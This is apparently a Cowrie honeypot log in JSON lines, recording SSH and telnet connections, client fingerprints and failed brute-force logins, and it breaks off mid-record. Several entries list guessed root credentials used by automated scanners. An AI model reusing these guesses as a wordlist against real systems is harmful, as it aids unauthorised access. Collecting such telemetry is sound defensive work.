{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:39.911664Z","src_ip":"186.246.14.196","session":"3e0dd9e42ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:40.614778Z","src_ip":"186.246.14.196","session":"3e0dd9e42ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:41.792268Z","src_ip":"186.246.14.196","session":"3e0dd9e42ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.47.60.6","src_port":43325,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b36ec22d0ee","protocol":"telnet","message":"New connection: 58.47.60.6:43325 (10.17.0.5:23) [session: 4b36ec22d0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:43.993825Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":18511,"dst_ip":"10.17.0.5","dst_port":22,"session":"657f4d2c180d","protocol":"ssh","message":"New connection: 180.243.191.141:18511 (10.17.0.5:22) [session: 657f4d2c180d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:56.070143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:56.075635Z","src_ip":"180.243.191.141","session":"657f4d2c180d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:56.343836Z","src_ip":"180.243.191.141","session":"657f4d2c180d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.537957906723022,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:56.531655Z","src_ip":"58.47.60.6","session":"4b36ec22d0ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:57.428393Z","src_ip":"180.243.191.141","session":"657f4d2c180d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:58.704105Z","src_ip":"180.243.191.141","session":"657f4d2c180d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46846,"dst_ip":"159.203.135.109","dst_port":22,"session":"1701066eed93","protocol":"ssh","message":"New connection: 103.149.28.157:46846 (159.203.135.109:22) [session: 1701066eed93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:11.613190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:11.618598Z","src_ip":"103.149.28.157","session":"1701066eed93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:11.881430Z","src_ip":"103.149.28.157","session":"1701066eed93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcttd","message":"login attempt [root/fktrcttd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:12.631599Z","src_ip":"103.149.28.157","session":"1701066eed93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:13.884445Z","src_ip":"103.149.28.157","session":"1701066eed93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":55174,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc9bc69f1eb3","protocol":"ssh","message":"New connection: 50.116.72.139:55174 (10.17.0.5:22) [session: fc9bc69f1eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:20.337189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:20.341576Z","src_ip":"50.116.72.139","session":"fc9bc69f1eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:20.367668Z","src_ip":"50.116.72.139","session":"fc9bc69f1eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k9jt3d","message":"login attempt [root/k9jt3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:20.501401Z","src_ip":"50.116.72.139","session":"fc9bc69f1eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:21.530477Z","src_ip":"50.116.72.139","session":"fc9bc69f1eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":59886,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab3be31c6895","protocol":"ssh","message":"New connection: 45.165.238.2:59886 (10.17.0.5:22) [session: ab3be31c6895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:28.055087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:28.059535Z","src_ip":"45.165.238.2","session":"ab3be31c6895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:28.191595Z","src_ip":"45.165.238.2","session":"ab3be31c6895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789z","message":"login attempt [root/123456789z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:28.739644Z","src_ip":"45.165.238.2","session":"ab3be31c6895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:29.872603Z","src_ip":"45.165.238.2","session":"ab3be31c6895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":27647,"dst_ip":"10.17.0.5","dst_port":22,"session":"163c71e13643","protocol":"ssh","message":"New connection: 180.243.191.141:27647 (10.17.0.5:22) [session: 163c71e13643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:55.562797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:55.567718Z","src_ip":"180.243.191.141","session":"163c71e13643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:55.836251Z","src_ip":"180.243.191.141","session":"163c71e13643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazwsx@123","message":"login attempt [root/Qazwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:56.943594Z","src_ip":"180.243.191.141","session":"163c71e13643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:12:58.214914Z","src_ip":"180.243.191.141","session":"163c71e13643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":38410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57ad2610ea8","protocol":"ssh","message":"New connection: 171.244.141.86:38410 (10.17.0.5:22) [session: b57ad2610ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:17.895328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:17.900733Z","src_ip":"171.244.141.86","session":"b57ad2610ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:18.212306Z","src_ip":"171.244.141.86","session":"b57ad2610ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123123123","message":"login attempt [root/Admin123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:19.226144Z","src_ip":"171.244.141.86","session":"b57ad2610ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:20.475739Z","src_ip":"171.244.141.86","session":"b57ad2610ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62188,"dst_ip":"10.17.0.5","dst_port":22,"session":"f71706a2b8f8","protocol":"ssh","message":"New connection: 194.59.206.2:62188 (10.17.0.5:22) [session: f71706a2b8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.174966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.179746Z","src_ip":"194.59.206.2","session":"f71706a2b8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.270085Z","src_ip":"194.59.206.2","session":"f71706a2b8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.364505Z","src_ip":"194.59.206.2","session":"f71706a2b8f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":58040,"dst_ip":"10.17.0.5","dst_port":22,"session":"7403f36faba2","protocol":"ssh","message":"New connection: 50.116.72.139:58040 (10.17.0.5:22) [session: 7403f36faba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.929341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.934192Z","src_ip":"50.116.72.139","session":"7403f36faba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-c